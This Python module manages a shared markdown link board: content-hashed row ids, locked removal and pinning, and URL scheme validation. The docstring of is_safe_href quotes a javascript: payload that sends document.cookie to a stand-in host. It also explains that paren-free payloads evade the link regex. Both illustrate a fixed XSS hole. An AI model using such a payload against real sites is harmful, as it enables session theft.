booth/booth/links.py

"""Standing link board: parse and prune the multi-writer link log.

STDLIB ONLY, ON PURPOSE. This lives apart from app.py because the `booth` CLI
needs it and the CLI must not require the service's venv — importing app.py
drags in FastAPI, so a shell tool that only wants to delete a line would need
a web framework installed. The board is a text file; its logic should cost a
text file's worth of dependencies.
"""

from __future__ import annotations

import fcntl
import hashlib
import os
import re
from pathlib import Path
from urllib.parse import unquote, urlsplit

# ---- the standing link board ------------------------------------------------
#
# One booth (`links` by convention) is a MULTI-WRITER append log: every agent
# session on the fleet posts operator-facing URLs to it so they outlive the
# terminal scrollback that would otherwise bury them. That makes it the one
# booth where "delete the whole folder" is the wrong granularity — a single
# dead link has to be removable without taking the other thirty with it.
#
# Entries are identified by a CONTENT HASH, never by line number. Indexes are
# racy here by construction: another session can append between the moment you
# list the board and the moment you remove a row, and index-based removal would
# then delete the wrong line. A content id is stable against concurrent
# appends — the worst case is that the row is already gone, which is reported
# rather than silently deleting a neighbour.
LINKS_FILE = "links.md"
LINK_LOCK = ".links.lock"

# Pin state lives in a sidecar dotfile — one content id per line — NOT inline in
# links.md. Three reasons this is the right seam:
#   * links.md stays a pure append log: `booth link` remains a single atomic
#     O_APPEND write, which is what lets many fleet sessions post concurrently
#     without a lock on the common path.
#   * pinning never rewrites a row, so a row's content id (its identity for
#     removal) never changes just because it was pinned.
#   * it mirrors the `.forever` sentinel already in play — a dotfile the listing
#     code skips, so it costs nothing in item counts or galleries.
# Orphaned ids (a row hand-edited so its id drifts, or removed) are inert: the
# renderer only marks a row pinned when a live row still carries that id, and
# remove_link_entry drops the id as it deletes the row.
PINS_FILE = ".pins"

# - [description](url) <sub>· who · when</sub>
_LINK_RE = re.compile(
    r"^- \[(?P<desc>.*?)\]\((?P<url>[^)]*)\)"
    r"(?:\s*<sub>·\s*(?P<who>[^·]*?)\s*·\s*(?P<when>[^<]*?)\s*</sub>)?\s*$"
)


def link_entry_id(raw: str) -> str:
    """Stable short id for a board row. Content-addressed, so it survives
    concurrent appends by other sessions and cannot drift like an index."""
    return hashlib.sha1(raw.strip().encode()).hexdigest()[:8]


def is_safe_href(url: str) -> bool:
    """Whether a board URL may be rendered as an `href` at all.

    ⚠ A LIVE VECTOR UNTIL 2026-09-23. Seventeen agent handles append to the
    standing board and the operator clicks its rows, and nothing guarded the
    scheme: `javascript:document.location='http://evil.test/'+document.cookie`
    rendered as a clickable link in the Booth's own origin. Found by design-dev
    on the way past R2, in code R2 does not touch.

    ⚠ AND THE OBVIOUS PROBE MISSES IT. `javascript:alert(1)` IS refused — by
    the markdown link regex, because the parens break `](...)`. That is an
    accident, not a guard, and a paren-free payload sails straight through. Do
    not re-test this with a payload that contains brackets.

    `booth_target` already tests the scheme, but for a DIFFERENT question —
    which booth a URL names — so it refuses every off-board link too and cannot
    serve as this guard.

    NEVER RAISES: a board row is arbitrary agent-written text and a predicate
    that raises on one row takes the whole page.
    """
    try:
        parts = urlsplit((url or "").strip())
    except (ValueError, UnicodeDecodeError):
        return False
    # Scheme-relative (`//evil.test/x`) parses with an EMPTY scheme and a netloc,
    # and navigates off-site while looking like a path. An empty scheme is only
    # safe when it is genuinely relative.
    if not parts.scheme:
        return not parts.netloc
    return parts.scheme.lower() in ("http", "https")


def parse_link_entries(text: str) -> list[dict]:
    """Rows of the standing link board, newest last (posting order).

    Non-matching lines (a heading someone added by hand, a blank) are skipped
    rather than rejected: the board is a plain markdown file the operator is
    explicitly allowed to edit, so the parser must tolerate prose around the
    rows it understands.
    """
    out: list[dict] = []
    for i, raw in enumerate(text.splitlines()):
        m = _LINK_RE.match(raw.strip())
        if not m:
            continue
        out.append({
            "id": link_entry_id(raw),
            "raw": raw,
            "line": i,
            "desc": (m.group("desc") or "").strip(),
            "url": (m.group("url") or "").strip(),
            # Derived ONCE here; no template decides whether a row is a link.
            "safe": is_safe_href(m.group("url") or ""),
            "who": (m.group("who") or "").strip(),
            "when": (m.group("when") or "").strip(),
        })
    return out


def remove_link_entry(board: Path, entry_id: str) -> dict | None:
    """Remove one row by content id. Returns the removed entry, or None.

    Held under an exclusive flock on a sidecar lock file for the whole
    read-modify-write, and the CLI's append path takes the same lock — so a
    concurrent `booth link` cannot be lost to this rewrite. Written to a temp
    file and os.replace'd, so a crash mid-write cannot truncate the board.
    """
    path = board / LINKS_FILE
    if not path.exists():
        return None
    lock = board / LINK_LOCK
    lock.touch(exist_ok=True)
    with lock.open("r+") as lf:
        fcntl.flock(lf, fcntl.LOCK_EX)
        try:
            text = path.read_text()
            kept, removed = [], None
            for raw in text.splitlines(keepends=True):
                if removed is None and link_entry_id(raw) == entry_id:
                    m = _LINK_RE.match(raw.strip())
                    if m:
                        removed = {"id": entry_id, "raw": raw.rstrip("\n"),
                                   "desc": (m.group("desc") or "").strip(),
                                   "url": (m.group("url") or "").strip(),
                                   "safe": is_safe_href(m.group("url") or "")}
                        continue
                kept.append(raw)
            if removed is None:
                return None
            tmp = path.with_suffix(path.suffix + ".tmp")
            tmp.write_text("".join(kept))
            os.replace(tmp, path)
            # The row is gone; drop any pin that referenced it so .pins does not
            # accumulate dead ids. Same critical section, so a concurrent pin
            # toggle cannot race this rewrite.
            pins = _read_pins_unlocked(board)
            if entry_id in pins:
                pins.discard(entry_id)
                _write_pins_unlocked(board, pins)
            return removed
        finally:
            fcntl.flock(lf, fcntl.LOCK_UN)


# ---- pins: favorite a row so it floats to the top --------------------------


def _read_pins_unlocked(board: Path) -> set[str]:
    path = board / PINS_FILE
    if not path.exists():
        return set()
    try:
        return {ln.strip() for ln in path.read_text().splitlines() if ln.strip()}
    except OSError:
        return set()


def _write_pins_unlocked(board: Path, ids: set[str]) -> None:
    """Atomic replace of the pins file. Caller must hold the board lock."""
    path = board / PINS_FILE
    tmp = path.with_suffix(path.suffix + ".tmp")
    tmp.write_text("".join(f"{i}\n" for i in sorted(ids)))
    os.replace(tmp, path)


def read_pins(board: Path) -> set[str]:
    """Pinned entry ids for a board. Missing file → empty set. Lock-free: a set
    read of a dotfile the sweeper never touches, safe to call on the render path."""
    return _read_pins_unlocked(Path(board))


def toggle_pin(board: Path, entry_id: str) -> bool:
    """Flip one row's pinned state. Returns the NEW state (True = now pinned).

    Held under the same sidecar flock as append and remove, so a toggle cannot
    interleave with a board rewrite. Pure add/remove of the id — orphan pruning
    is the remover's job (remove_link_entry) and the renderer's (a pin with no
    live row is simply not shown as pinned)."""
    board = Path(board)
    lock = board / LINK_LOCK
    lock.touch(exist_ok=True)
    with lock.open("r+") as lf:
        fcntl.flock(lf, fcntl.LOCK_EX)
        try:
            pins = _read_pins_unlocked(board)
            if entry_id in pins:
                pins.discard(entry_id)
                new_state = False
            else:
                pins.add(entry_id)
                new_state = True
            _write_pins_unlocked(board, pins)
            return new_state
        finally:
            fcntl.flock(lf, fcntl.LOCK_UN)


def order_for_display(entries: list[dict], pinned: set[str]) -> list[dict]:
    """Board rows for the web view: pinned first, then newest-first in each group.

    `entries` arrive from parse_link_entries in file order (oldest first). Each
    returned row is a copy stamped with a `pinned` bool (the input dicts are left
    untouched, so parse output stays a faithful file-order view for callers that
    want it — e.g. the CLI). Within both the pinned and the unpinned group the
    most recently appended row leads, which is what "newest on top" means for an
    append log.
    """
    stamped = [{**e, "pinned": e["id"] in pinned} for e in entries]
    stamped.reverse()  # newest first
    return [e for e in stamped if e["pinned"]] + [e for e in stamped if not e["pinned"]]


# ---- what counts as a booth link -------------------------------------------


def booth_target(url: str) -> str | None:
    """The booth NAME a URL points at, or None when it is not a booth link.

    ONE PREDICATE, THREE CALLERS — the CLI's `link` refusal, the board's
    dead-row marker, and `bench import`'s classifier. They must agree: a rule
    that refuses a shape the board then fails to mark as dead (or the reverse)
    is two readers of one truth, which is the bug this repo has now paid for
    three times. `tests/test_benches.py` runs one table through every caller.

    HOST-AGNOSTIC AND PATH-SHAPED. A row is a booth link when its path is
    `/b/<name>` or `/b/<name>/...`, whatever the host. NOT a host allowlist: the
    fleet reaches this service as `10.100.10.50:8090`, `localhost:8090` and
    `nh3-dev.nh3.internal:8090`, and an allowlist would silently fail to refuse
    from whichever name somebody used next — a rule that fails OPEN on the exact
    case it exists to catch. The accepted cost is that a third-party URL with a
    `/b/<x>` path reads as a booth link; that failure is visible (a refusal
    naming the reason) rather than silent, and no such URL is on the board.

    THE NAME SEGMENT IS PERCENT-DECODED. `app.py` emits booth links through
    `quote(name, safe="")`, so a booth whose name needs encoding appears on the
    board encoded. Comparing the raw segment against a directory name would mark
    every such booth permanently dead and echo the encoded form back at the
    poster in the refusal message.

    The returned name passes the SAME addressability rules `resolve_booth`
    enforces (non-empty, no leading dot, no separator, no `..`), so the two
    cannot disagree about what is reachable.

    NEVER RAISES. A board row is arbitrary operator-editable text; a predicate
    that raises on one row takes the whole page.
    """
    try:
        parts = urlsplit((url or "").strip())
        if parts.scheme.lower() not in ("http", "https"):
            return None
        segments = parts.path.split("/")
        if len(segments) < 3 or segments[1] != "b":
            return None
        name = unquote(segments[2])
    except (ValueError, UnicodeDecodeError):
        return None
    if not name or name.startswith(".") or "/" in name or "\\" in name or ".." in name:
        return None
    # `unquote` will happily hand back a NUL or a newline, and neither can name
    # a directory. Unfiltered they reach `is_dir()` (ValueError on an embedded
    # NUL, which is NOT an OSError and so escapes the marker's guard), the
    # refusal message the CLI prints, and the marker the board renders.
    if any(ch in name for ch in "\x00") or any(ord(ch) < 0x20 for ch in name):
        return None
    return name